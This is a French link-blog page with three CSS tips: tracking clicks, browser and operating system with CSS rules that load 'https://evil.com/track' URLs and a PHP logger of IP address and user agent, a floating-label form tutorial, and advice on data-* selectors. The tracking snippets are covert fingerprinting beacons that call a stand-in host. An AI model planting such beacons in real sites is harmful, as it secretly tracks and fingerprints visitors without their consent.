Tracking Users with CSS

Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:



#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}

Et hop, côté serveur, tu récupères tout bien comme tu veux.




session_start();

// Prints the time that the script ran
print("Timestamp: " . time());

// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);

// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);

// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>




Et c'est pas tout !

On peut détecter le navigateur:



@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("https://evil.com/track?action=browser_chrome");
}
}




ou même l'OS:



// stylesheet.css
@font-face {
font-family: Font1;
src: url("https://evil.com/track?action=font1");
}

#font_detection {
font-family: Calibri, Font1;
}

<!-- page.html -->
<div id="font_detection">test</div>







Pure CSS floating label

Un floating label en pur css ! \o/ Merci Timo !


<label>
<input type="text" id="name" placeholder=" ">
<span>Name</span>
</label>
<label>
<input type="password" id="password" placeholder=" ">
<span>Password</span>
</label>





label {
position: relative;
}

input {
padding: 10px;
border: 1px silver solid;
}
span {
position: absolute;
transition: all 200ms;
opacity: 0.5;
left: 0px;
padding: 10px;
transform-origin: top left;
}

input:not(:placeholder-shown) + span {
transform: translateY(-100%) scale(.75);
opacity: 1;
padding: 0 10px;
}



Via https://lehollandaisvolant.net/?id=20190109140902

“Stop Using CSS Selectors for Non-CSS”

Une réflexion intéressante que je garderai en mémoire: ne réserver les classes css que pour styler, pas pour cibler en js.
Donc en résumé, au lieu de


<article class="article"><br />
</article><br />
<br />
et <br />
<br />
$(".article") <br />
```<br />
<br />
Préférer:<br />
<br />
```<br />
<article class="article" data-hoverable><br />
</article><br />
<br />
et <br />
<br />
$("[data-hoverable]")<br />
```<br />
<br />
On sépare ainsi les classes (styling) des attributs data-* (scripting js)<br />
<br />
<br/><br/><div class="img_source"><a href="https://www.inetsolutions.org/wp-content/uploads/2016/03/JavaScript-And-CSS-Includes-Do-Overload-Googles-Fetch-And-Mobile-Testing-Tools-1030x644.jpg">Source image</a></div>
Fil RSS des articles de ce mot clé